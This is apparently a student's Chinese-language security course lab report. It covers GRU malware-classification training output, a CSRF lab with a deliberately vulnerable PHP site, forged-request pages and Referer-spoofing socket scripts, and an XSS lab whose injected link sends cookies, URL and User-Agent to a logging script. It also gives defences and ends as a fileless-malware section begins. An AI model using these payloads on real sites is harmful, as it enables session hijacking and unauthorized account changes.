63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
PS D:\chen_hao\病毒检测机器学习> & D:/ProgramSoftware/anaconda3/python.exe d:/chen_hao/病毒检测机器学习/RNN.py
Using device: cuda

Epoch 1/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:32<00:00, 1.35it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.01it/s]
Train Loss: 1.6978, Train Accuracy: 0.4272
Validation Loss: 1.5224, Validation Accuracy: 0.4460
Model saved!

Epoch 2/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:27<00:00, 1.59it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.01it/s]
Train Loss: 1.5041, Train Accuracy: 0.4547
Validation Loss: 1.5046, Validation Accuracy: 0.4471
Model saved!

Epoch 3/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:29<00:00, 1.51it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 1.4797, Train Accuracy: 0.4620
Validation Loss: 1.4927, Validation Accuracy: 0.4489
Model saved!

Epoch 4/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.56it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 1.4648, Train Accuracy: 0.4689
Validation Loss: 1.4740, Validation Accuracy: 0.4633
Model saved!

Epoch 5/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:27<00:00, 1.58it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 1.4373, Train Accuracy: 0.4820
Validation Loss: 1.4314, Validation Accuracy: 0.4924
Model saved!

Epoch 6/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:27<00:00, 1.59it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.01it/s]
Train Loss: 1.4187, Train Accuracy: 0.4918
Validation Loss: 1.3496, Validation Accuracy: 0.5169
Model saved!

Epoch 7/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.57it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 1.4115, Train Accuracy: 0.5090
Validation Loss: 1.3058, Validation Accuracy: 0.5504
Model saved!

Epoch 8/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.57it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.00it/s]
Train Loss: 1.1772, Train Accuracy: 0.6115
Validation Loss: 1.0737, Validation Accuracy: 0.6267
Model saved!

Epoch 9/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 1.0006, Train Accuracy: 0.6609
Validation Loss: 0.9820, Validation Accuracy: 0.6598
Model saved!

Epoch 10/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.9129, Train Accuracy: 0.6887
Validation Loss: 0.9084, Validation Accuracy: 0.6749
Model saved!

Epoch 11/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.8453, Train Accuracy: 0.7069
Validation Loss: 0.8542, Validation Accuracy: 0.7030
Model saved!

Epoch 12/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.7822, Train Accuracy: 0.7422
Validation Loss: 0.7674, Validation Accuracy: 0.7520
Model saved!

Epoch 13/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.7204, Train Accuracy: 0.7704
Validation Loss: 0.7360, Validation Accuracy: 0.7639
Model saved!

Epoch 14/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.7144, Train Accuracy: 0.7717
Validation Loss: 0.7184, Validation Accuracy: 0.7664
Model saved!

Epoch 15/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.02it/s]
Train Loss: 0.6625, Train Accuracy: 0.7878
Validation Loss: 0.6925, Validation Accuracy: 0.7721
Model saved!

Epoch 16/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.54it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.6390, Train Accuracy: 0.7931
Validation Loss: 0.6748, Validation Accuracy: 0.7815
Model saved!

Epoch 17/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.6061, Train Accuracy: 0.8033
Validation Loss: 0.6415, Validation Accuracy: 0.7927
Model saved!

Epoch 18/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.55it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.00it/s]
Train Loss: 0.5665, Train Accuracy: 0.8278
Validation Loss: 0.5947, Validation Accuracy: 0.8279
Model saved!

Epoch 19/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.53it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.02it/s]
Train Loss: 0.5263, Train Accuracy: 0.8396
Validation Loss: 0.5656, Validation Accuracy: 0.8287
Model saved!

Epoch 20/20
Training: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 44/44 [00:28<00:00, 1.52it/s]
Validation: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 11/11 [00:05<00:00, 2.03it/s]
Train Loss: 0.5044, Train Accuracy: 0.8467
Validation Loss: 0.5578, Validation Accuracy: 0.8366
Model saved!
d:\chen_hao\病毒检测机器学习\RNN.py:146: FutureWarning: You are using `torch.load` with `weights_only=False` (the current default value), which uses the default pickle module implicitly. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling (See https://github.com/pytorch/pytorch/blob/main/SECURITY.md#untrusted-models for more details). In a future release, the default value for `weights_only` will be flipped to `True`. This limits the functions that could be executed during unpickling. Arbitrary objects will no longer be allowed to be loaded via this mode unless they are explicitly allowlisted by the user via `torch.serialization.add_safe_globals`. We recommend you start setting `weights_only=True` for any use case where you don't have full control of the loaded file. Please open an issue on GitHub for any issues related to this experimental feature.
model.load_state_dict(torch.load('best_gru_model.pth'))
Testing: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 51/51 [00:25<00:00, 2.01it/s]
预测完成并保存至 pytorch_gru_submission.csv
PS D:\chen_hao\病毒检测机器学习>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
file_id,prob0,prob1,prob2,prob3,prob4,prob5,prob6,prob7
1,0.06448878,0.002397979,0.9028775,0.0013381493,0.00045697886,0.0020659335,0.003058874,0.023315739
2,0.9813138,8.656157e-05,0.0029583538,0.0011351788,0.00028997194,0.006586187,0.0018473516,0.005782577
3,0.99163276,5.5359196e-05,0.0027402057,0.0004632939,0.000118531985,0.0013870831,0.00072588393,0.0028768326
4,0.021272896,0.011765718,0.024904,0.076123476,0.015064285,0.025066515,0.17768894,0.6481142
5,0.904939,0.00073774875,0.04147379,0.002916103,0.0005452043,0.0022994527,0.007011477,0.040077265
6,0.0021798164,0.0007873667,0.0014384006,0.0027823928,0.00244751,0.9728891,0.011387657,0.006087801
7,0.0068255765,0.017928587,0.0011721165,0.5918627,0.028887965,0.08608816,0.065764345,0.20147054
8,0.256366,0.00392755,0.17083807,0.03653748,0.0030841657,0.014288423,0.043775067,0.4711833
9,0.036793254,0.010180762,0.07269347,0.028041216,0.007907337,0.014224959,0.1945642,0.6355948
10,0.25146127,0.0009808545,0.0032455756,0.375254,0.008948095,0.1938656,0.042228147,0.124016486
11,0.00095530774,0.09089262,0.001956982,0.0021283366,0.0098222485,0.88708365,0.004995707,0.0021652123
12,0.9000948,0.00055806845,0.07364376,0.0017178208,0.00039910257,0.0030469508,0.0031312718,0.017408215
13,0.9858329,7.062489e-05,0.002319975,0.00074456446,0.00021577052,0.0051714894,0.0013318722,0.0043128696
14,0.71485704,0.0018635483,0.1835684,0.0046869554,0.00093834405,0.0039504743,0.012158039,0.07797725
15,0.95209205,0.00034266696,0.024804827,0.0013410876,0.00033840715,0.002777113,0.0031649894,0.015138777
16,0.9988642,6.826462e-05,0.0005704778,5.0490657e-05,5.821846e-05,1.5237126e-05,5.5164932e-05,0.00031797035
17,0.00090827956,0.0009387416,0.0012451294,0.00543124,0.003330927,0.96512026,0.014691722,0.008333769
18,0.01809039,0.0010136849,0.0009486259,0.55183834,0.017171165,0.17679921,0.012343813,0.22179477
19,0.9777029,0.00014269094,0.0092709325,0.0011368245,0.000268385,0.003403238,0.0015272632,0.006547669
20,0.9926167,4.7670434e-05,0.002156556,0.00042129072,0.000109387,0.0013140069,0.0006860488,0.0026483978
21,0.9420716,0.00025259246,0.010330827,0.0035953792,0.0003313114,0.013363041,0.002719807,0.027335435
22,0.010564044,0.013456773,0.013810868,0.10937901,0.023766087,0.07066154,0.2242378,0.53412384
23,0.0074043795,0.0237848,0.8829586,0.016059525,0.012664877,0.015524606,0.0027832955,0.03881999
24,0.7460677,0.0016432973,0.16402717,0.0043358603,0.0008404788,0.003432122,0.010673889,0.06897949

总结与展望

  1. 实验结论
    • 勒索病毒:设计了一个简单的勒索病毒Demo,揭示其文件加密与解密原理。
    • 机器学习:使用LightGBM结合TF-IDF特征,模型性能优秀,适合快速检测。
    • 深度学习:GRU模型对复杂API序列分类效果更优,适合进一步研究。
  2. 优化方向
    • 引入更复杂的注意力机制,加强深度学习模型对序列数据的理解。
    • 数据增强,扩展训练数据多样性,提升模型泛化能力。
    • 结合机器学习和深度学习结果进行模型融合,进一步提升检测与分类性能。

CSRF攻击与防护

1. 背景与原理

1.1 CSRF攻击定义
  • CSRF(Cross Site Request Forgery,跨站请求伪造)是一种利用用户身份权限的攻击方式。
  • 攻击者诱导已登录目标网站的用户访问含有恶意代码的页面,伪造用户的合法请求,执行未授权操作。
1.2 CSRF攻击的原理
  • 浏览器的同源策略允许同源的网页共享Cookie,但攻击者可以利用此策略:
    1. 用户登录目标网站后,浏览器保存Cookie。
    2. 用户访问恶意页面时,页面中的恶意代码通过伪造请求,利用用户Cookie向目标网站发送恶意请求。
1.3 CSRF攻击的危害
  • 在用户毫不知情的情况下:
    • 窃取用户信息。
    • 未经授权的资金转移。
    • 操作敏感的账户功能。

2. 项目任务概述

实验通过创建两个网站(目标网站和攻击网站),模拟CSRF攻击并探讨防护措施。具体任务如下:

  1. 建立一个具有用户添加功能的目标网站(存在CSRF漏洞)。
  2. 创建一个模拟CSRF攻击的网站。
  3. 测试目标网站是否可以被CSRF攻击。
  4. 通过HTTP Referer验证和操作确认对话框两种方式防护CSRF攻击。

3. 实验过程

3.1 任务1:建立具有CSRF漏洞的目标网站
3.1.1 环境准备
  • 在Apache根目录下(C:\Apache24\htdocs)创建名为csrf的文件夹,作为目标网站目录。
  • 复制基础网站代码文件至csrf目录,添加用户管理功能。
3.1.2 添加功能
  1. 添加用户页面

    • 创建newuser.html,内容为用户输入用户名和密码的表单。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>NewUser</title>
      <style>
      #a{ width: 300px; text-align: right; }
      .b{width: 150px;height:20px;}
      </style>
      </head>
      <body>
      <?php
      include_once "functions.php";
      start_session($expires);

      if(!isset($_SESSION['username'])){
      echo '您没有权限访问此页面';
      exit;
      }

      ?>
      <div id=a>
      <p align="left">添加用户:</p>
      <form name="form_register" method="get" action="do_adduser.php">
      Username: <input type="text" class=b name="username" /><br>
      Psssword: <input type="password" class=b name="passwd" /><br>
      <input type="submit" name="Submit" value="Submit" />
      <input type="reset" name="Reset" value="Reset" />
      </form>
      </div>
      </body>
      </html>
  2. 处理后台请求

    • 创建do_adduser.php,接收POST请求并将用户信息写入数据库。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      <?php
      include_once "functions.php";
      start_session($expires);

      if(!isset($_SESSION['username'])){
      echo '您没有权限访问此页面';
      exit;
      }

      include_once "con_database.php";

      //获取输入的信息
      $username = isset($_GET['username']) ? mysqli_escape_string($con,$_GET['username']) : '';
      $passwd = isset($_GET['passwd']) ? mysqli_escape_string($con, $_GET['passwd']) : '';
      if($username == '' || $passwd == '' )
      {
      echo "<script>alert('信息不完整!'); history.go(-1);</script>";
      exit;
      }
      // echo "<script language='javascript'>";
      // echo "var sure=confirm( '确认添加用户".$username ."吗 '); ";
      // echo "if (!sure){location.href='newuser.html'; }";
      // echo "</script>";
      //执行数据库查询,判断用户是否已经存在
      $sql="select * from users where username = '$username' ";

      $query = mysqli_query($con,$sql)
      or die('SQL语句执行失败, : '.mysqli_error($con));

      $num = mysqli_fetch_array($query); //统计执行结果影响的行数
      if($num) //如果已经存在该用户
      {
      echo "<script>alert('用户名已存在!'); history.go(-1);</script>";
      exit;
      }

      $sql = "insert into users (username,passcode) values('$username','$passwd')";

      mysqli_query($con, $sql)
      or die('用户添加失败, : '.mysqli_error($con));

      echo "用户添加成功!";

      mysqli_close($con);
      ?>

  3. 修改导航链接

    • welcome.php添加链接,指向newuser.html页面。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      <?php
      include_once "functions.php";
      start_session($expires);

      if(isset($_SESSION['username']))
      {
      echo '欢迎用户'.$_SESSION['username'].'登陆';
      echo "<br>";
      echo "<a href='showmessage.php'>查看消息</a>";
      echo "<br>";
      echo "<a href='newuser.html'>添加用户</a>";
      echo "<br>";
      echo "<a href='logout.php'>退出登录</a>";
      }
      else
      {
      echo '您没有权限访问此页面';
      }
      ?>

3.1.3 测试
  • 使用Firefox浏览器访问目标网站:

    • 登录http://localhost/csrf/login.html(用户名:admin,密码:admin123)。

    • 点击“添加用户”链接,输入csrfcsrf123,提交后验证用户添加成功。


3.2 任务2:建立CSRF攻击网站
3.2.1 创建攻击网站
  • 在Apache根目录下创建文件夹docsrf,用于模拟CSRF攻击网站。

  • docsrf目录下创建csrf.html,内容为包含伪造表单提交的恶意代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>csrf</title>
    </head>
    <body>

    <a href=http://localhost/csrf/do_adduser.php?username=admin1&passwd=admin1>Click Me</a>

    </body>
    </html>
3.2.2 恶意代码示例**
1
<a href="http://localhost/csrf/do_adduser.php?username=hacker&password=hack123">Click Me</a>
  • 点击该链接时,伪造请求直接添加用户。
3.3 任务3:CSRF攻击测试
3.3.1 测试流程
  1. 未登录状态测试

    • 使用IE浏览器访问http://localhost/docsrf/csrf.html

    • 点击“Click Me”,由于未登录目标网站,添加用户操作失败。

  2. 已登录状态测试

    • 使用保持登录状态的Firefox浏览器访问http://localhost/docsrf/csrf.html

    • 点击“Click Me”,发现用户添加成功。

3.3.2 攻击原理分析
  • 攻击成功的关键在于用户在目标网站的会话Cookie被恶意网站利用,从而伪造合法请求。

3.4 任务4:CSRF防护
3.4.1 方法一:HTTP Referer验证
  1. 实现步骤

    • 修改functions.php,增加check_referrer($referer)函数:

      1
      2
      3
      4
      5
      6
      7
      function check_referer($referer)
      {
      if ($_SERVER['HTTP_REFERER'] != $referer)
      {
      exit('来源错误');
      }
      }

      do_adduser.php,添加语句:

      1
      check_referer('http://localhost/csrf/newuser.html');
    • 验证请求是否来自合法页面。

  2. 测试结果

    • 重复攻击步骤,发现由于Referer不匹配,攻击请求被拒绝。

      但可以用以下方法攻击,csrf_referer_ez.php,访问http://localhost/docsrf/csrf_referer_ez.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>csrf</title>
      </head>
      <body>

      <?php

      $server = 'localhost';
      $host = 'localhost';
      $target = '/csrf/do_adduser.php?username=socket&passwd=socket123';
      $referer = 'http://localhost/csrf/newuser.html'; // Referer
      $uagent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0'; //User-Agent自行修改
      $cookie ='PHPSESSID=9rfa50r1a7ff8os3pgo7ik5cna';//自行修改
      $port = 80;

      $fp = fsockopen($server, $port, $errno, $errstr, 30);
      if (!$fp)
      {
      echo "$errstr ($errno)\n";
      }
      else
      {
      $out = "GET $target HTTP/1.1\r\n";
      $out .= "Host: $host\r\n";
      $out .= "Referer: $referer\r\n";
      $out .= "User-Agent: $uagent\r\n";
      $out .= "Cookie: $cookie\r\n";
      $out .= "Connection: Close\r\n\r\n";
      fwrite($fp, $out);

      while (!feof($fp))
      {
      echo fgets($fp, 128);
      }

      fclose($fp);
      }

      ?>

      </body>
      </html>

      csrf_auto.html,访问http://localhost/docsrf/csrf_auto.html

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>csrf</title>
      <script src="http://libs.baidu.com/jquery/2.1.4/jquery.min.js"></script>
      <script>
      function getSessionId(){
      var c_name = 'PHPSESSID';
      if(document.cookie.length>0){
      c_start=document.cookie.indexOf(c_name + "=")
      if(c_start!=-1){
      c_start=c_start + c_name.length+1
      c_end=document.cookie.indexOf(";",c_start)
      if(c_end==-1) c_end=document.cookie.length
      return unescape(document.cookie.substring(c_start,c_end));
      }
      }
      }
      </script>
      <script>
      function load(){
      window.location.href='http://localhost/csrf/newuser.html';
      }
      </script>
      </head>
      <body onload = load() >
      <script>
      $(document).ready(function(){
      window.location.href="http://localhost/docsrf/csrf_referer.php?sid="+getSessionId();
      });
      </script>
      </body>
      </html>

      csrf_referer.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      <!DOCTYPE html>
      <html>
      <head>
      <meta charset="UTF-8">
      <title>csrf</title>
      </head>
      <body>

      <?php
      if(!isset($_GET['sid']))
      {
      exit;
      }

      $SID = $_GET['sid'];

      $server = 'localhost';
      $host = 'localhost';
      $target = '/csrf/do_adduser.php?username=socket1&passwd=socket123';
      $referer = 'http://localhost/csrf/newuser.html'; // Referer
      $uagent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0'; //User-Agent自己改
      $port = 80;

      $fp = fsockopen($server, $port, $errno, $errstr, 30);
      if (!$fp)
      {
      echo "$errstr ($errno)\n";
      }
      else
      {
      $out = "GET $target HTTP/1.1\r\n";
      $out .= "Host: $host\r\n";
      $out .= "Referer: $referer\r\n";
      $out .= "User-Agent: $uagent\r\n";
      $out .= "Cookie: PHPSESSID=" .$SID ."\r\n";
      $out .= "Connection: Close\r\n\r\n";
      fwrite($fp, $out);

      while (!feof($fp))
      {
      echo fgets($fp, 128);
      }

      fclose($fp);
      }

      ?>

      </body>
      </html>
3.4.2 方法二:设置操作确认对话框
  1. 实现步骤

    • 修改do_adduser.php(19行),添加操作确认逻辑:

      1
      2
      3
      4
      echo "<script language='javascript'>";
      echo "var sure=confirm( '确认添加用户".$username ."吗 '); ";
      echo "if (!sure){location.href='newuser.html'; }";
      echo "</script>";
    • 每次操作需要用户手动确认。

  2. 测试结果

    • 当用户访问攻击页面时,会弹出对话框提示操作,用户选择“否”后攻击被终止。


4. 实验结果与总结

  1. 实验结果

    • CSRF攻击需要用户在登录目标网站的情况下访问恶意页面。
    • HTTP Referer验证和操作确认对话框有效阻止了CSRF攻击。
  2. 实验总结

    • Referer验证:通过检查请求来源,可以识别非法请求。
    • 用户交互:强制用户确认敏感操作,有效减少误操作带来的风险。
  3. 安全建议

    • 避免点击不明链接。
    • 针对敏感操作添加多因素验证机制(如验证码或Token)。

5. 拓展思考

  1. POST方式的CSRF攻击

    • 攻击者可通过表单隐藏参数的方式伪造POST请求。

    • 示例代码:

      1
      2
      3
      4
      5
      <form method="post" action="http://localhost/csrf/do_adduser.php">
      <input type="hidden" name="username" value="hacker">
      <input type="hidden" name="password" value="hack123">
      <input type="submit" value="Submit">
      </form>
  2. Cookie验证的局限性

    • 即使启用Cookie验证,浏览器仍会自动附加有效的Cookie,无法完全防止CSRF攻击。

XSS跨站攻击与Cookie验证欺骗实验

一、实验目的

  1. 研究并实践XSS攻击的原理与实现方式。
  2. 实现通过XSS攻击获取网页地址、User-Agent及Cookie的方法。
  3. 提交实验代码与报告,验证攻击与防护效果。

二、XSS跨站攻击实现细节

1. 基本原理

XSS是一种通过注入恶意代码在用户浏览器中执行非授权操作的攻击方式。主要分为:

  • 持久型XSS:恶意代码存储在服务器,能长期触发。
  • 非持久型XSS:恶意代码不存储,依赖特定URL。
2. 利用XSS攻击Cookie验证

通过XSS脚本,将目标用户的Cookie发送至攻击者控制的服务器,绕过正常验证实现欺骗。

代码示例:
在留言表单中插入:

1
<a href="#" onclick="document.location='http://localhost/getsession/savesession.php?cookie='+escape(document.cookie);">Click Me</a>
  • 当管理员点击链接时,document.cookie中的SessionID被发送到http://localhost/getsession/savesession.php


三、实现网页地址、User-Agent和Cookie获取

1. 攻击代码

在留言页面注入如下代码:

1
2
<a href="#" onclick="document.location='http://localhost/getsession/savelog.php?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(document.location.href) + '&userAgent=' + encodeURIComponent(navigator.userAgent);">Click Me</a>

2. 数据记录服务端代码

创建一个savelog.php文件,记录获取的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include_once "con_database.php";

// 捕获前端传递的参数
$cookie = isset($_GET['cookie']) ? $_GET['cookie'] : "No Cookie";
$url = isset($_GET['url']) ? $_GET['url'] : "No URL";
$userAgent = isset($_GET['userAgent']) ? $_GET['userAgent'] : "No User-Agent";

// 调试输出到日志文件
file_put_contents("debug.log", "Cookie: $cookie\nURL: $url\nUser-Agent: $userAgent\n", FILE_APPEND);

// 插入到数据库
if ($cookie && $url && $userAgent) {
$sql = "INSERT INTO logs (sessionid, url, userAgent) VALUES (?, ?, ?)";
$stmt = $con->prepare($sql);
if ($stmt) {
$stmt->bind_param("sss", $cookie, $url, $userAgent);
if ($stmt->execute()) {
echo "Data logged successfully!";
} else {
echo "Execution failed: " . $stmt->error;
}
$stmt->close();
} else {
echo "Statement preparation failed: " . $con->error;
}
} else {
echo "Invalid data received. Cookie: $cookie, URL: $url, User-Agent: $userAgent";
}

// 关闭数据库连接
mysqli_close($con);
?>

showlog.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include_once "con_database.php";

// 查询日志数据
$sql = 'SELECT * FROM logs';
$rs = mysqli_query($con, $sql);

// 检查查询结果
if (!$rs) {
die("Query failed: " . mysqli_error($con));
}

// 显示结果
echo "<table border='1'>";
echo "<tr><th>ID</th><th>Cookie</th><th>URL</th><th>User-Agent</th></tr>";

while ($row = mysqli_fetch_assoc($rs)) {
echo "<tr>";
echo "<td>" . htmlentities($row['id']) . "</td>";
echo "<td>" . htmlentities($row['sessionid']) . "</td>";
echo "<td>" . htmlentities($row['url']) . "</td>";
echo "<td>" . htmlentities($row['userAgent']) . "</td>";
echo "</tr>";
}

echo "</table>";

// 释放资源
if ($rs) {
mysqli_free_result($rs);
}

// 关闭连接
mysqli_close($con);
?>

数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
CREATE DATABASE IF NOT EXISTS lab;

USE lab;

-- 创建存储SessionID和其他信息的表
CREATE TABLE IF NOT EXISTS logs (
id INT NOT NULL AUTO_INCREMENT,
sessionid VARCHAR(256) NOT NULL,
url VARCHAR(512),
userAgent VARCHAR(512),
PRIMARY KEY (id)
);


四、实验结果

1. 攻击结果
  • 成功窃取网页地址、User-Agent和Cookie,并在服务端showlogs.php中记录:
1
2
3
Session ID PHPSESSID=6b5m2e67tdi26l28hjjcq093ff
URL http://localhost/xss/showmessage.php#
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
2. 验证Cookie欺骗

将SessionID设置为被窃取的值,访问目标页面,成功伪装为受害者。

3. 防护措施
  • 设置HttpOnly:禁止通过JavaScript读取Cookie:

    1
    setcookie('PHPSESSID', session_id(), 0, '/', '', false, true);
  • HTML转义:在输出前转义用户输入:

    1
    echo htmlentities($userInput);

五、总结

  1. 攻击实现
    • XSS攻击能够轻松窃取用户信息并实现会话劫持。
    • 利用脚本,获取地址、User-Agent和Cookie等敏感信息。
  2. 防护措施
    • 使用HttpOnly属性保护Cookie。
    • 对用户输入进行严格的HTML和JavaScript转义。
  3. 建议
    • 定期对网站进行漏洞扫描,防范潜在的XSS攻击。

无文件病毒的定义及实践


实验目的

  1. 理解无文件病毒的定义及其主要类型。
  2. 学习并实践利用NTFS数据流文件创建ADS数据流文件。
  3. 使用PowerShell实现远程下载与隐匿执行脚本。

实验环境

  • 操作系统:Windows 10 (支持NTFS文件系统)
  • 工具:
    • 命令提示符 (cmd)
    • PowerShell
    • 记事本 (Notepad)
    • WinHex(用于查看和删除ADS数据流文件)
